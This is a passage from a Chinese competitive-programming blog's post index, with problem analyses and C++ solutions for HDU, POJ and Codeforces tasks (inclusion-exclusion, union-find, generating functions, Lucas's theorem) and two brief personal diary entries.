//(limit\u0026\u0026i==mx)中limit的含义是。。如果当前一位不是limit位（即0..9可以随便取的位置） 54 //，那么之后的位","date":"2016-03-15","externalUrl":null,"permalink":"/2016/03/hdu-2089/","section":"Posts","summary":"题目链接 题意：问区间[n,m]中，不含数字4，也不含数字串“62”的所有数的个数。","tags":["dp","数位dp"],"title":"hdu 2089 不要62 （数位dp模板题，附带详细解释）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：求曼哈顿距离和平方根距离相等的点的对数？ 思路：化简发现是绝对值乘积等于0，容斥搞搞。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月07日 星期一 18时43分02秒 4File Name :code/C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E6+7; 34 35struct node 36{ 37 int x,y; 38 39 bool operator \u003c (node b)const 40 { 41 if (x==b.x) return y\u003cb.y; 42 return x\u003cb.x; 43 } 44}p[N]; 45 46 47 48bool cmp( node a,node b) 49{ 50 return a.y\u003cb.y; 51} 52LL cal( LL x) 53{ 54 LL res = x*(x+1)/2; 55 return res; 56} 57int n; 58LL a,b,c; 59LL cnta,cntb,cntc; 60int main() 61{ 62 #ifndef ONLINE_JUDGE 63 freopen(\"code/in.txt\",\"r\",stdin); 64 #endif 65 66 ios::sync_with_stdio(false); 67 cin\u003e\u003en; 68 for ( int i = 1 ;i \u003c= n ; i++) cin\u003e\u003ep[i].x\u003e\u003ep[i].y; 69 70 sort(p+1,p+n+1); 71 72 a=b=c=0LL; 73 cnta=cntb=cntc=0LL; 74 75 76 for ( int i = 1 ; i \u003c= n-1 ; i++) 77 { 78 if (p[i].x==p[i+1].x) 79 { 80 cnta++; 81 } 82 else 83 { 84 a+=cal(cnta); 85 cnta = 0 ; 86 } 87 } 88 a +=cal(cnta); 89 90 91 for ( int i = 1 ; i \u003c= n-1 ; i++) 92 { 93 if (p[i].x==p[i+1].x\u0026\u0026p[i].y==p[i+1].y) 94 { 95 cntc++; 96 } 97 else 98 { 99 c +=cal(cntc); 100 cntc = 0 ; 101 } 102 } 103 104 c+=cal(cntc); 105 106 107 108 sort(p+1,p+n+1,cmp);","date":"2016-03-08","externalUrl":null,"permalink":"/2016/03/codeforces-345-div-2-c-watchmen-/","section":"Posts","summary":"题目链接 题意：求曼哈顿距离和平方根距离相等的点的对数？ 思路：化简发现是绝对值乘积等于0，容斥搞搞。","tags":["容斥原理"],"title":"codeforces #345 div 2 C. Watchmen (容斥)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出一个数列，按照最好的策略排序使得a[i+1]\u003ea[i]的对数尽可能多，问最多的对数是多少。 思路：类似计数排序？ 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月07日 星期一 17时06分48秒 4File Name :code/cf/#345/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int n ; 35int a[N]; 36int cnt[N]; 37int num[N]; 38int sum[N]; 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 45 cin\u003e\u003en; 46 ms(cnt,0); 47 ms(num,0); 48 ms(sum,0); 49 for ( int i = 1 ; i \u003c= n ; i++) 50 { 51 cin\u003e\u003ea[i]; 52 cnt[a[i]]++; 53 } 54 if (n==1) 55 { 56 puts(\"0\"); 57 return 0 ; 58 } 59 if (n==2) 60 { 61 if (a[1]==a[2]) 62 { 63 puts(\"0\"); 64 } 65 else 66 { 67 puts(\"1\"); 68 } 69 return 0; 70 } 71 72 int mx = -1; 73 for ( int i = 1 ; i \u003c= 1000 ; i++) 74 { 75 num[cnt[i]]++; 76 mx = max(mx,cnt[i]); 77 } 78 79 for ( int i = mx ; i \u003e= 1 ; i --) 80 { 81 sum[i] = sum[i+1]+num[i]; 82 } 83 84 int ans = 0 ; 85 for ( int i = 1 ; i \u003c= mx ; i++) 86 { 87 ans +=sum[i]-1; 88// cout\u003c\u003c\"sum[i]:\"\u003c\u003csum[i]\u003c\u003cendl; 89 } 90 cout\u003c\u003cans\u003c\u003cendl; 91 92 93 94 #ifndef ONLINE_JUDGE 95 fclose(stdin); 96 #endif 97 return 0; 98}","date":"2016-03-08","externalUrl":null,"permalink":"/2016/03/cf651b/","section":"Posts","summary":"题目链接 题意：给出一个数列，按照最好的策略排序使得a[i+1]\u003ea[i]的对数尽可能多，问最多的对数是多少。 思路：类似计数排序？","tags":["brute force"],"title":"codeforces #345 div 2 B. Beautiful Paintings （暴力）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：两个手柄？ 初始的电量给出，只有一个充电器，每经过一秒，充着电的手柄电量增加1，没有充电的手柄电量减少2，允许电量充到0以上，当有电量为0的时候，或者当某一分钟开始的时候有手柄电量为1，游戏立即结束。问最多能玩多少时间游戏。 思路：贪心。。每次给电量少的充电。 坑点在于当某一时刻有手柄电量为1，那么游戏在进行这一分钟之前就结束。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月07日 星期一 17时06分41秒 4File Name :code/cf/#345/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int a,b; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 cin\u003e\u003ea\u003e\u003eb; 40 int cnt = 0 ; 41 while (1) 42 { 43 if (a\u003eb) 44 { 45 a-=2; 46 if (a\u003c0) break; 47 b++; 48 } 49 else 50 { 51 a++; 52 b-=2; 53 if (b\u003c0) break; 54 } 55 cnt++; 56 // if (a==1\u0026\u0026b==1) break; 57 if (a\u003c=0||b\u003c=0) break; 58 } 59 cout\u003c\u003ccnt\u003c\u003cendl; 60 61 #ifndef ONLINE_JUDGE 62 fclose(stdin); 63 #endif 64 return 0; 65}","date":"2016-03-08","externalUrl":null,"permalink":"/2016/03/cf651a/","section":"Posts","summary":"题目链接 题意：两个手柄？ 初始的电量给出，只有一个充电器，每经过一秒，充着电的手柄电量增加1，没有充电的手柄电量减少2，允许电量充到0以上，当有电量为0的时候，或者当某一分钟开始的时候有手柄电量为1，游戏立即结束。问最多能玩多少时间游戏。","tags":["d","greedy"],"title":"codeforces #345 div2 A. Joysticks (贪心)","type":"post"},{"categories":["随笔杂谈"],"content":"一年过去了。 现在看到小可，内心却依然无法平静… 强装镇定得打个招呼已经是我的极限了orz 其实还是觉得很可惜…曾经的好朋友变得形同陌路总是令人伤感的… 可是没办法啊orz 果然是绕不过去的一个人啊…. 我赌五毛永远没办法做朋友了orz,虽然我挺希望我输掉的… 以及：感觉《熔炉》中的妍斗好像小可== 以及：好喜欢代码写得好的妹子","date":"2016-03-05","externalUrl":null,"permalink":"/2016/03/thatkk/","section":"Posts","summary":"一年过去了。 现在看到小可，内心却依然无法平静… 强装镇定得打个招呼已经是我的极限了orz 其实还是觉得很可惜…曾经的好朋友变得形同陌路总是令人伤感的…","tags":["算法竞赛"],"title":"thatkk","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=5631 题意;给出一张n个点n+1（n\u003c=100）条边的无向图，现在删除若干条边（至少一条边），问删完之后图依然联通的方案数。 思路：分析可知，由于只删边，不删点，n个点，最少需要n-1条边才能联通，所以最多删两条边。我们可以暴力枚举删除的两条边（或者一条边） O(n^2)的复杂度完全可以接受。剩下的问题就变成了每次删边之后判断图的连通性。 题解给出的是bfs。。。大概是bfs一遍，然后入队的点数是n就联通？ 或者dfs一遍也可以？ 也是标记过的点数是n就说明联通？ 但是看到排名考前的人都是用到了并查集来判断…比较巧妙。 具体做法是：先把所有的点孤立出来，然后开始添加边，每次union成功（就是添加了一条边）的时候计数器+1，n个点如果能合并n-1次，也就是添加了n-1条有效边（最多也只可能是n-1条，那么说明这n个点之间是联通的。 第一次这样用并查集…憋说话，用心感悟。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月03日 星期四 21时11分19秒 4File Name :code/hdu/5631.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n; 35int f[N]; 36bool ban[N]; 37pi edge[N]; 38 39 40void init() 41{ 42 ms(f,0); 43 for ( int i = 0 ; i \u003c N ; i++) f[i] = i; 44} 45 46int root ( int x) 47{ 48 if (f[x]!=x) 49 f[x]=root(f[x]); 50 return f[x]; 51} 52 53int Union( int x,int y) 54{ 55 int rootx = root(x); 56 int rooty = root(y); 57 // cout\u003c\u003c\"rootx:\"\u003c\u003crootx\u003c\u003c\" rooty:\"\u003c\u003crooty\u003c\u003cendl; 58 if (rootx!=rooty) 59 { 60 f[rootx]=rooty; 61 62 return 1; 63 } 64 return 0; 65} 66 67int solve() //用并查集判断图连通性。如果是联通图，那么一定会合并(union)n-1次（得到一棵生成树） 68 //每次合并相当于添加了一条边，而且是不会使得图出现环的边。 69{ 70 init(); //对于每一种情况，都","date":"2016-03-04","externalUrl":null,"permalink":"/2016/03/hdu5631/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=5631 题意;给出一张n个点n+1（n\u003c=100）条边的无向图，现在删除若干条边（至少一条边），问删完之后图依然联通的方案数。 思路：分析可知，由于只删边，不删点，n个点，最少需要n-1条边才能联通，所以最多删两条边。我们可以暴力枚举删除的两条边（或者一条边） O(n^2)的复杂度完全可以接受。剩下的问题就变成了每次删边之后判断图的连通性。 题解给出的是bfs。。。大概是bfs一遍，然后入队的点数是n就联通？ 或者dfs一遍也可以？ 也是标记过的点数是n就说明联通？ 但是看到排名考前的人都是用到了并查集来判断…比较巧妙。","tags":["图论","并查集","连通性"],"title":"bc #73 B || hdu 5631 Rikka with Graph （并查集判断无向图的连通性）","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=5630 题意：nm的棋盘，相邻格子的颜色相反，每次可以翻转一个任意大小矩形的格子，问最少需要翻转多少次使得棋盘的nm个格子颜色相同。（翻转的意思是颜色反色） 思路：手写了下。。发现。。答案就是n/2+m/2. 对应的最优策略是。。翻偶数行和偶数列，都翻一遍，颜色就一样了。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月03日 星期四 20时47分47秒 4File Name :code/hdu/5630.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n,m; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 40 ios::sync_with_stdio(false); 41 int T; 42 cin\u003e\u003eT; 43 while (T--) 44 { 45 cin\u003e\u003en\u003e\u003em; 46 cout\u003c\u003cn/2+m/2\u003c\u003cendl; 47 } 48 49 #ifndef ONLINE_JUDGE 50 fclose(stdin); 51 #endif 52 return 0; 53}","date":"2016-03-03","externalUrl":null,"permalink":"/2016/03/hdu5630/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=5630 题意：nm的棋盘，相邻格子的颜色相反，每次可以翻转一个任意大小矩形的格子，问最少需要翻转多少次使得棋盘的nm个格子颜色相同。（翻转的意思是颜色反色）","tags":["brute force","math"],"title":"hdu 5630  Rikka with Chess （暴力 ，计数问题）","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=4451 题意：N clothes, M pants and K shoes，然后给出p个不合法的搭配，形式是“clothes x pants y” or “pants y shoes z”.” 问有多少种合法的方案。 思路：一开始觉得是容斥。。当然可以。。但是实际上，不合法的搭配的形式比较简单，每种不合法的发配都是两个两个的不合法，以及每种不合法的形式都有pants,那么我们就可以通过先确定pants，对于每种pants，方案数就是能和当前pants搭配的clothes数，乘以能和当前pants搭配的shoes数，然后累加每种pants的答案即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月03日 星期四 20时09分47秒 4File Name :code/hdu/4451.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E6+7; 34int n,m,k; 35int p; 36int a[N]; 37int clo[N]; 38int sho[N]; 39 40int main() 41{ 42 #ifndef ONLINE_JUDGE 43 freopen(\"code/in.txt\",\"r\",stdin); 44 #endif 45 46 while (~scanf(\"%d %d %d\",\u0026n,\u0026m,\u0026k)\u0026\u0026n\u0026\u0026m\u0026\u0026k) 47 { 48 ms(clo,0); 49 ms(sho,0); 50 LL ans = 0LL; 51 scanf(\"%d\",\u0026p); 52 if (p==0) 53 { 54 ans = 1LL*n*1LL*m*1LL*k; 55 printf(\"%lld\\n\",ans); 56 continue; 57 } 58 for ( int i = 0 ; i \u003c p ; i++) 59 { 60 char x[15],y[15]; 61 int xid,yid; 62 scanf(\"%s %d %s %d\",x,\u0026xid,y,\u0026yid); 63 if (x[0]=='c') 64 { 65 clo[yid]++; 66 } 67 else 68 { 69 sho[xid]++; 70 } 71 } 72 73 for ( int i = 1; i \u003c= m ; i++) 74 { 75 ans+=1LL*(n-clo[i])*1LL*(k-sho[i]); 76 } 77 printf(\"%lld\\n\",ans); 78","date":"2016-03-03","externalUrl":null,"permalink":"/2016/03/hdu4451/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=4451 题意：N clothes, M pants and K shoes，然后给出p个不合法的搭配，形式是“clothes x pants y” or “pants y shoes z”.” 问有多少种合法的方案。 思路：一开始觉得是容斥。。当然可以。。但是实际上，不合法的搭配的形式比较简单，每种不合法的发配都是两个两个的不合法，以及每种不合法的形式都有pants,那么我们就可以通过先确定pants，对于每种pants，方案数就是能和当前pants搭配的clothes数，乘以能和当前pants搭配的shoes数，然后累加每种pants的答案即可。","tags":["思维题","组合数学","计数问题"],"title":"hdu 4451 Dressing (计数，思维题)","type":"post"},{"categories":["ACM"],"content":"题意：F(x) = (1+x)^a1 + (1+x)^a2 + … + (1+x)^am，求系数是奇数的项的个数。 思路：解题报告 涉及到的由lucas定理得到的推论的证明lucas定理证明 以及这篇理解里有递归形式的容斥定理的一般写法。。递归形式的容斥定理 1dfs(int beg,set S,int sym) 2{ 3 ans+=num(S)*sym; 4 for(int i=beg;i\u003c=n;i++) 5 dfs(i,S∩A[i],sym*-1); 6} 7 8for(int i=1;i\u003c=n;i++) 9 dfs(i,A[i],1); 第一次接触递归形式的容斥定理…还不是特别理解，据说要比循环的写法少一层msk(应该是少一个1\u003c/* *********************************************** Author :111qqz Created Time :2016年03月03日 星期四 18时55分21秒 File Name :code/hdu/3929.cpp ************************************************ */ #include #include #include #include #include #include #include #include #include #include #include #include #define fst first #define sec second #define lson l,m,rt«1 #define rson m+1,r,rt«1|1 #define ms(a,x) memset(a,x,sizeof(a)) typedef long long LL; #define pi pair \u003c int ,int \u003e #define MP make_pair using namespace std; const double eps = 1E-8; const int dx4[4]={1,0,0,-1}; const int dy4[4]={0,-1,1,0}; const int inf = 0x3f3f3f3f; const int N=20; int n; LL x[N],ans; LL getbit(LL x) { 1LL res = 0LL; 2while (x) 3{ 4x=x\u0026(x-1); 5res++; 6} 7return res; } void dfs(int id,LL msk,LL f) { ans +=(1LL«getbit(msk))f; for ( LL i = id+1 ; i \u003c n ; i++) dfs(i,msk\u0026x[i],-2f); } int main() { #ifndef ONLINE_JUDGE freopen(“code/in.txt”,“r”,stdin); #endif // ios::sync_with_stdio(false); int T; int cas = 0 ; cin»T; while (T–) { cin»n; for ( int i = 0 ; i \u003c n ; i++) scanf(\"%lld\",\u0026x[i]); ans = 0LL; for ( int i = 0 ; i \u003c n ; i++) { dfs(i,x[i],1); // cout«“ans:\"«ans«endl; } printf(\"Case #%d: %lld\\n\",++cas,ans); } #ifndef ONLINE_JUDGE fclose(stdin); #endif return 0; }","date":"2016-03-03","externalUrl":null,"permalink":"/2016/03/hdu3929/","section":"Posts","summary":"题意：F(x) = (1+x)^a1 + (1+x)^a2 + … + (1+x)^am，求系数是奇数的项的个数。 思路：解题报告 涉及到的由lucas定理得到的推论的证明lucas定理证明 以及这篇理解里有递归形式的容斥定理的一般写法。。递归形式的容斥定理","tags":["lucas定理","容斥原理"],"title":"hdu 3929  Big Coefficients (递归形式的容斥原理+lucas定理的结论)","type":"post"},{"categories":["ACM"],"content":"指数型母函数网上的资料不是很多，推荐毛杰明的09年国家集训队论文《母函数的性质及应用》 以及Richard A.Brualdi 所著的《组合数学》的第七章来看…倒不用全看懂..但是这本上面干货比较多。 我来说下自己的理解： 指数型母函数和普通型母函数（不加普通二字也是指它）的区别是后者是用来求解组合问题（顺序无关行），而前者是求解排列问题（不同的顺序属于不同的方案）。 对于多重排列问题，由于某种元素可能有多个，需要去掉它的重复度（除以该种元素的个数的阶乘），而这个除以阶乘的形式和泰勒级数展开中的一些函数的展开形式一致（或者是一些变形）。 因此母函数可以用泰勒级数来化简。 这是求解这类问题最核心的内容。 也有直接算的。比如这个hdu1521排列组合。hdu1521排列组合解题报告但是由于阶乘的存在。。这类问题求解的范围十分有限。 所以更多的是下面这些题，难度递增，建议先独立思考… hdu2065解题报告 poj1322 chocolate解题报告 cf451E解题报告","date":"2016-03-03","externalUrl":null,"permalink":"/2016/03/%e6%8c%87%e6%95%b0%e5%9e%8b%e6%af%8d%e5%87%bd%e6%95%b0%e6%80%bb%e7%bb%93/","section":"Posts","summary":"指数型母函数网上的资料不是很多，推荐毛杰明的09年国家集训队论文《母函数的性质及应用》","tags":["母函数"],"title":"指数型母函数总结","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/451/E 题意;有n个花坛，要选s支花，每个花坛有f[i]支花，同一个花坛的花颜色相同，不同花坛的花颜色不同，问说可以有多少种组合。 思路：典型的母函数…然而s有点大，根据泰勒展开什么的…先转一下官方题解。 The number of ways to choose N items out of R groups where each item in a group is identical is equal to the number of integral solutions to _x_1 + _x_2 + _x_3…x__R = N, where 0 ≤ x__i ≤ L__i, where L__i is the number of items in i__th group. Number of integral solutions are coefficient of x__N in [Product of (1 + x + x * x + …x__L__i) over all $i$]. You need to find coefficient of x__s in (1 + x + _x_2 + _x_3 + + .._x__f_1) * * * (1 + x + _x_2 + _x_3 + + ..x__f__n). Using sum of Geometric progression we can say that(1 + x + _x_2 + _x_3 + + .._x__f_1) = (1 - x(_f_1 + 1)) / (1 - x). Substituting in the expression, we get (1 - x(_f_1 + 1)) / (1 - x) * * * (1 - x(f__n + 1)) / (1 - x). = (1 - x(_f_1 + 1)) * .. * (1 - x(f__n + 1)) * (1 - x)( - n). Now we can find x__s in (1 - x) - n easily. It is . You can have a look at following link. to understand it better. So now as s is large, we can not afford to iterate over s. But n is small, we notice that (1 - x(f_1 + 1)) * .. * (1 - x(f__n + 1)) can have at most 2_n terms. So we will simply find all those terms, they can be very easily computed by maintaining a vector\u003cpair\u003cint, int\u003e \u003e containing pairs of coefficients and their corresponding powers. You can write a recursive function for doing this. How to find % p. As n + s - 1 is large and s is very small. You can use lucas’s theorem. If you understand lucas’s theorem, you can note that we simply have to compute . Complexity: O(n * 2_n_). 嗯。。。 我推到了这步：(1 - x(_f_1 + 1)) * .. * (1 - x(f__n + 1)) * (1 - x)( - n). 然后不知所措了。 一个不会的点是，一般意义的二项式定理不会，也就是指数为负数的。 然后后面那一串，由于n才20.所以直接暴力展开多项式我是能想到的。。。但是依然不知道怎么写。还有递归的求解方法。。。没有特别明白。 此外需要lucas定理求大组合数，以及预处","date":"2016-03-02","externalUrl":null,"permalink":"/2016/03/cf451e/","section":"Posts","summary":"http://codeforces.com/problemset/problem/451/E 题意;有n个花坛，要选s支花，每个花坛有f[i]支花，同一个花坛的花颜色相同，不同花坛的花颜色不同，问说可以有多少种组合。 思路：典型的母函数…然而s有点大，根据泰勒展开什么的…先转一下官方题解。","tags":["lucas定理","二项式定理","母函数","泰勒展开"],"title":"codeforces 451E  Devu and Flowers (指数型母函数)","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=1322 题意： 思路：别看n,m很大。。。但是想一下。。m显然不可能大于c(如果大于c，那么根据抽屉原理，至少存在一种巧克力大于一个，然而大于一个就会被取走…矛盾) 这样概率为0.m也不可能大于n，因为最好的情况就是取出的巧克力都放在了桌子上，如果总共取的还不到n个，又怎么可能剩下m（m\u003en）个呢。此外，还需要n,m奇偶性相同，否则设n-m=2K+1 ,说明如果要剩余m个，那么就要减少2k+1个，但是巧克力是两个两个减少的，减少的个数一定是偶数，因此矛盾。所以n,m奇偶性相同。 接下来可以用概率dp做，由于n比较大，滚动一下应该可以… 然后看到别人的题解里写到当n\u003e1000的时候已经趋向平衡（达到了要求的精度）… 这道题dp写起来的确容易，也不是很难想。 不过作为dp废宁愿选择数学方法，指数型母函数。 分析可知，取过偶数次的巧克力消失，只有取过奇数次的巧克力会留在桌子上。 那么要剩余m个巧克力，也就是有m种巧克力取了奇数次，剩下的c-m种巧克力取了偶数次。 对应的的生成函数（母函数）分别是(e^x-e(-x))/2和（e^x+e(-x)）/2 （推倒类似）hdu2065红色病毒解题报告 总事件个数为c^n 根据古典概型，所求概率为 (Gn*n!C[c][m])/(c^n) 其中Gnn!为生成函数，C[c][m]是因为不确定c种巧克力中的哪m种取了奇数个。 现在的问题就成了求Gn中x^n的系数。。我就是因为这个卡了两天这道题。。。 其实模拟就好，复杂度O(c^2)而已。。主要是好久没写二项式定理。。。有点忘了（手动智力-2） 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月02日 星期三 18时57分58秒 4File Name :code/poj/1322.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34double c[N][N]; 35int C,n,m; 36 37 38 39void pre() 40{ 41 c[0][0] = 1; 42 for ( int i = 1 ; i \u003c N ; i++) 43 { 44 c[i][0]=c[i][i] = 1; 45 for ( int j = 1 ; j \u003c i ; j++) c[i][j]=c[i-1][j-1]+c[i-1][j]; 46 } 47} 48double ksm( double a,int b) 49{ 50 double res = 1.0; 51 while (b) 52 { 53 if (b\u00261)","date":"2016-03-02","externalUrl":null,"permalink":"/2016/03/poj1322chocolate/","section":"Posts","summary":"http://poj.org/problem?id=1322 题意： 思路：别看n,m很大。。。但是想一下。。m显然不可能大于c(如果大于c，那么根据抽屉原理，至少存在一种巧克力大于一个，然而大于一个就会被取走…矛盾) 这样概率为0.m也不可能大于n，因为最好的情况就是取出的巧克力都放在了桌子上，如果总共取的还不到n个，又怎么可能剩下m（m\u003en）个呢。此外，还需要n,m奇偶性相同，否则设n-m=2K+1 ,说明如果要剩余m个，那么就要减少2k+1个，但是巧克力是两个两个减少的，减少的个数一定是偶数，因此矛盾。所以n,m奇偶性相同。","tags":["母函数","组合数学"],"title":"poj 1322 chocolate (指数型母函数 )","type":"post"},{"categories":["随笔杂谈"],"content":"。。。 醒来，发现，四面都是山。。。 每座山上都写着“线段树”三个字…. 不把线段树的lazy标记搞掉根本没法继续搞数据结构啊喂… 像莫队这种没有前置技能点的东西毕竟是少数吧==","date":"2016-03-02","externalUrl":null,"permalink":"/2016/03/no-way-to-go/","section":"Posts","summary":"。。。 醒来，发现，四面都是山。。。 每座山上都写着“线段树”三个字…. 不把线段树的lazy标记搞掉根本没法继续搞数据结构啊喂… 像莫队这种没有前置技能点的东西毕竟是少数吧==","tags":["算法竞赛"],"title":"无路可走了。。。","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=2356 题意：有 n 个数，从中选取若干个（1..n），和能被 n 整除。问是否有解，无解输出 0，有解的话，输出个数以及选择的 a[i]（不是 i）。 由抽屉原理可知一定有解： 做一个带模的前缀和 sum[i]=(sum[i-1]+a[i])%n n个数，sum[i]最多有n种。 如果某个sum[i]为0，那么表示从1到i的和能被n整除。 如果所有的 sum[i] 不为 0，那么一共有 n 个 sum[i]、n-1 个值（1..n-1），一定有 sum[i] == sum[j]（i \u003c= j）。 那么a[i]到a[j]的和一定能被n整除。 1/************************************************************************* 2 \u003e File Name: code/poj/2356.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月21日 星期五 13时43分41秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x3f3f3f3f; 31const int N=2E4+7; 32int a[N]; 33int sum[N]; 34int n; 35int p[N]; 36int main() 37{ 38 scanf(\"%d\",\u0026n); 39 sum[0]= 0; 40 for ( int i = 1 